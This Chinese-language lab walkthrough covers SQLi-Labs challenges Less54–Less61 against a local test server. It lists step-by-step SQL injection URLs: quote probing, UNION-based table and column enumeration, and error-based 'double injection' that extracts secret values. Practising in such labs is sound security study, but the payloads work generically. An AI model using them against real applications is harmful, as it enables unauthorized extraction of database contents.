[靶场] SQLi-Labs Less54-Less61

从Less54之后为Challenges，在n次之内从challenges数据库中取出相应的数据。

58.Less54

请求方式	注入方式	备注
GET	Union内联注入	10次语句以内完成

http://127.0.0.1:8003/Less-54/?id=1

http://127.0.0.1:8003/Less-54/?id=1' and 0 --+

http://127.0.0.1:8003/Less-54/?id=1' order by 1 --+
http://127.0.0.1:8003/Less-54/?id=1' order by 4 --+

http://127.0.0.1:8003/Less-54/?id=1' and 0 union select 1, group_concat(table_name) , count(table_name)  from information_schema.tables where table_schema=database() --+

http://127.0.0.1:8003/Less-54/?id=1' and 0 union select 1, group_concat(column_name) , count(column_name)  from information_schema.columns where table_schema=database() and table_name = 'je8so9yjdm'--+

http://127.0.0.1:8003/Less-54/?id=1' and 0 union select 1, group_concat(concat_ws(0x7e,id,sessid,secret_NUF1,tryy)) , count(id)  from je8so9yjdm  --+

59.Less55

请求方式	注入方式	备注
GET	Union内联注入	14次语句以内完成

http://127.0.0.1:8003/Less-55/?id=1

http://127.0.0.1:8003/Less-55/?id=0 or 1 --+
http://127.0.0.1:8003/Less-55/?id=0' or 1 --+
http://127.0.0.1:8003/Less-55/?id=0" or 1 --+
http://127.0.0.1:8003/Less-55/?id=0') or 1 --+
http://127.0.0.1:8003/Less-55/?id=0") or 1 --+
http://127.0.0.1:8003/Less-55/?id=0) or 1 --+

http://127.0.0.1:8003/Less-55/?id=0) or 1 order by 3 --+
http://127.0.0.1:8003/Less-55/?id=0) or 1 order by 4 --+

http://127.0.0.1:8003/Less-55/?id=0)  union select 1,2,3 --+

http://127.0.0.1:8003/Less-55/?id=0)  union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema = database() --+

http://127.0.0.1:8003/Less-55/?id=0)  union select 1, 2, group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'xdrkchorhj' --+

http://127.0.0.1:8003/Less-55/?id=0)  union select 1, 2, group_concat(concat_ws(0x7e,id,sessid,secret_ZZF6,tryy)) from xdrkchorhj --+

60.Less56

请求方式	注入方式	备注
GET	Union内联注入	14次语句以内完成

http://127.0.0.1:8003/Less-56/?id=1

http://127.0.0.1:8003/Less-56/?id=0' or 1 --+
http://127.0.0.1:8003/Less-56/?id=0') or 1 --+

http://127.0.0.1:8003/Less-56/?id=0') or 1 order by 3--+
http://127.0.0.1:8003/Less-56/?id=0') or 1 order by 4--+

http://127.0.0.1:8003/Less-56/?id=0')  union select 1,2,3  --+

http://127.0.0.1:8003/Less-56/?id=0')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  --+

http://127.0.0.1:8003/Less-56/?id=0')  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()  and table_name='zxjrb7g0u2' --+

http://127.0.0.1:8003/Less-56/?id=0')  union select 1,2,group_concat(concat_ws(0x7e,id,sessid,secret_52OP,tryy)) from zxjrb7g0u2 --+

61.Less57

请求方式	注入方式	备注
GET	Union内联注入	14次语句以内完成

http://127.0.0.1:8003/Less-57/?id=1

http://127.0.0.1:8003/Less-57/?id=0" or 1 --+

http://127.0.0.1:8003/Less-57/?id=0" or 1  order by 3  --+
http://127.0.0.1:8003/Less-57/?id=0" or 1  order by 4  --+

http://127.0.0.1:8003/Less-57/?id=0" union select 1,2,3  --+

http://127.0.0.1:8003/Less-57/?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()  --+

http://127.0.0.1:8003/Less-57/?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database()  and table_name = 'i7a7cuijxc' --+

http://127.0.0.1:8003/Less-57/?id=0" union select 1,2,group_concat(concat_ws(0x7e,id,sessid,secret_LK1F,tryy)) from i7a7cuijxc --+

62.Less58

请求方式	注入方式	备注
GET	双注入	5次语句以内完成

http://127.0.0.1:8003/Less-58/?id=1

http://127.0.0.1:8003/Less-58/?id=0' or 1 --+

http://127.0.0.1:8003/Less-58/?id=0' or (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (select table_name from information_schema.tables where table_schema = database() limit 0,1) )    ) --+

http://127.0.0.1:8003/Less-58/?id=0' or (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (  select column_name from information_schema.columns where table_schema=database() and  table_name ='fou5cz893u' limit 2,1 ) )    ) --+

http://127.0.0.1:8003/Less-58/?id=0' or (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (  select secret_BPKM from fou5cz893u ) )    ) --+

63.Less59

请求方式	注入方式	备注
GET	双注入	5次语句以内完成

http://127.0.0.1:8003/Less-59/?id=1

http://127.0.0.1:8003/Less-59/?id=1 1'2"3

http://127.0.0.1:8003/Less-59/?id=0 or (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (select table_name from information_schema.tables where table_schema = database() limit 0,1) )    ) --+

http://127.0.0.1:8003/Less-59/?id=0 or  (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (  select column_name from information_schema.columns where table_schema=database() and  table_name ='c06j85ltnr' limit 2,1 ) )    ) --+

http://127.0.0.1:8003/Less-59/?id=0 or  (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (  select secret_Q09K from c06j85ltnr) )    ) --+

64.Less60

请求方式	注入方式	备注
GET	双注入	5次语句以内完成

http://127.0.0.1:8003/Less-60/?id=1

http://127.0.0.1:8003/Less-60/?id=-1")  or 1  --+

http://127.0.0.1:8003/Less-60/?id=-1") or (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (select table_name from information_schema.tables where table_schema = database() limit 0,1) )    ) --+

http://127.0.0.1:8003/Less-60/?id=-1") or  (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (  select column_name from information_schema.columns where table_schema=database() and  table_name ='irbkoes439' limit 2,1 ) )    ) --+

http://127.0.0.1:8003/Less-60/?id=-1") or   (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (  select secret_0EDS from irbkoes439) )    ) --+

65.Less61

请求方式	注入方式	备注
GET	双注入	5次语句以内完成

http://127.0.0.1:8003/Less-61/?id=1

http://127.0.0.1:8003/Less-61/?id=1 1'2"3

http://127.0.0.1:8003/Less-61/?id=1'))  or  (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (select table_name from information_schema.tables where table_schema = database() limit 0,1) )    ) --+

http://127.0.0.1:8003/Less-61/?id=1'))  or  (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (  select column_name from information_schema.columns where table_schema=database() and  table_name ='u9kp6yows1' limit 2,1 ) )    ) --+

http://127.0.0.1:8003/Less-61/?id=1'))  or  (select count(*) from information_schema.tables group by  concat(floor(rand(0)*2), (  select secret_IRQG from u9kp6yows1) )    ) --+